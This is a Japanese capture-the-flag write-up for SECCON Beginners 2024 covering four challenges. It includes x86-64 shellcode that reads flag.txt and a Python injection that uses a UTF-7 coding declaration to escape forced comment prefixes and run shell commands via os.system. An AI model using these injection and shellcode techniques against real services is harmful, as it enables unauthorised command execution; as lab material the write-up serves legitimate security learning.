SECCON Beginners 2024 解いたものだけ Write Up

# ctf4b 2024
チームとして参加して **1167**pts, **39**位で終了しました。
![result.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/569723/e64e1bae-acdd-bc1f-2e2a-1cb0a7037fba.png)
このうち私がチーム内で解くのに関わった（ **not** 私が一人で解いた）問題についてだけのwriteupです。

---

# [reversing] assemble
アセンブラを書くシンプルな問題。
小問が4つあって全て解くと flag が出てくるが、`mov`, `push`, `syscall`しか使えないことと、25行以内の制約がある。

---

### 解法
1. Please write ``0x123`` to ``RAX``!
    ```
    mov rax, 0x123
    ```
2. Please write ``0x123`` to ``RAX`` and push it on stack!
    ```
    mov rax, 0x123
    push rax
    ```
3. Please use ``syscall`` to print ``Hello`` on stdout!
    ```
    mov rax, 0x6f6c6c6548
    push rax
    mov rax, 1
    mov rsi, rsp
    mov rdi, 1
    mov rdx, 5
    syscall
    ```
    最初は直接 ``push 0x6f`` なり試してたけど意図通り動かない…
4. Please read ``flag.txt`` file and print it to stdout!
    ChatGPTに聞いたら割とすんなり教えてくれたので若干手直しして作成。
    ```
    mov rax, 0x0000000000007478  # tx
    push rax
    mov rax, 0x742e67616c662f2e  # t.galf/.
    push rax
    mov rdi, rsp                 # rdi = address of './flag.txt'
    mov rax, 2                   # sys_open
    mov rsi, 0                   # rsi = 0 (O_RDONLY)
    syscall
    mov rcx, rax                 # save file descriptor in rcx
    mov rax, 0                   # sys_read
    mov rdi, rcx                 # file descriptor
    mov rsi, rsp                 # buffer to read into (rsp)
    mov rdx, 0x34                # number of bytes to read
    syscall
    mov rbx, rax                 # save number of bytes read in rbx
    mov rax, 1                   # sys_write
    mov rdi, 1                   # file descriptor (stdout)
    mov rsi, rsp                 # buffer to write from (rsp)
    mov rdx, rbx                 # number of bytes to write
    syscall
    ```
    セミコロン``;``が使えないようなのでコメントは``#``で。

---

# [misc] getRank
ソースコードを見る限りHTTPリクエストの``input``の値を``10^255``より大きくすれば良さそう。
ただし300桁（文字数）を超える入力とは弾かれるのと、``10^255``より大きい値を入れたら10で割る演算を100回繰り返し適用されるらしい。

---

### 解法
単純に考えれば``999..(300桁)..999``とかを入れたいが割られてしまう。
なので``0xFFF..(298桁)..FFF``を入れて割られても十分なくらい大きな値にする。

---

# [misc] clamre
ファイルをダウンロードするとflagが書いてあるファイルがあるのでいい感じに読む。

---

### 解法
```
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
```
この正規表現を読む。最初数文字``\x63\x74\x66``はHexStringで``ctf``になるのでおそらくこれはflagであるだろうと確信を持つ。
HexStringと``\{\}``の部分を直して
```
((ctf)(4)(b)({B)(r)(3)\3(k1)(ng)(_)\3(l)\11\10(Th)\7\10(H0)(u)(5)\7\10(R)\14\11\7(5)})
```
``\N``は最初から``N``番目のかっこ``()``（最初は0じゃなくて1番目、例えば``(ctf)``のかっこは**2番目**）と同じ値の再代入。例えば最初の``\3``は3番目の``()``である``4``が入る。
あとは代入して``()``を消す。

---

# [misc] commentator
pythonコードを1行ずつインタラクティブに書くが、各行の最初に必ず``#``が追加されてしまう。
最終的にサーバ内のflagファイルを見ることができれば勝ち。

### 問題（抜粋）
```python
python = ""
while True:
    line = input(">>> ").replace("\r", "")
    if "__EOF__" in line:
        python += 'print("thx :)")'
        break
    python += f"# {line}\n"  # comment :)

pyfile = f"/tmp/{uuid.uuid4()}.py"
with open(pyfile, "w") as f:
    f.write(python)

os.system(f"python {pyfile}")
os.remove(pyfile)
```
こんなプログラムが動いているサーバでの問題。
```python += f"# {line}\n"  # comment :)```の部分で行頭に``#``が追加されてしまうので回避したい。

---

### 解法
どうにかして改行コードを入れたいなぁという方向で考える。
色々あるようだが Python ファイルの最初の見慣れたやつをいい感じにする。

https://qiita.com/KEINOS/items/6efc1147b917d7811b5b

通常では改行すると入力が一旦区切られてしまうので、utf7を使って改行コードを入れることができる。
変換ツール↓を使うと速い気がする。

http://tools.nash-dev.com/

```python
-*- coding: utf_7 -*-
+AAo-import+ACA-os
+AAo-os.system('ls+ACA--la+ACA-..')
__EOF__
```
この入力で内部のpythonファイルは
```python
# -*- coding: utf_7 -*-
# 
import os
# 
os.system('ls -la ..')
print("thx :)")
```
こんな感じになる。
これでファイルのパスがわかるので、あとは同様の方法で``cat``によってflagを得る。
UTF-7はXSSとかにも使えてなにかと便利。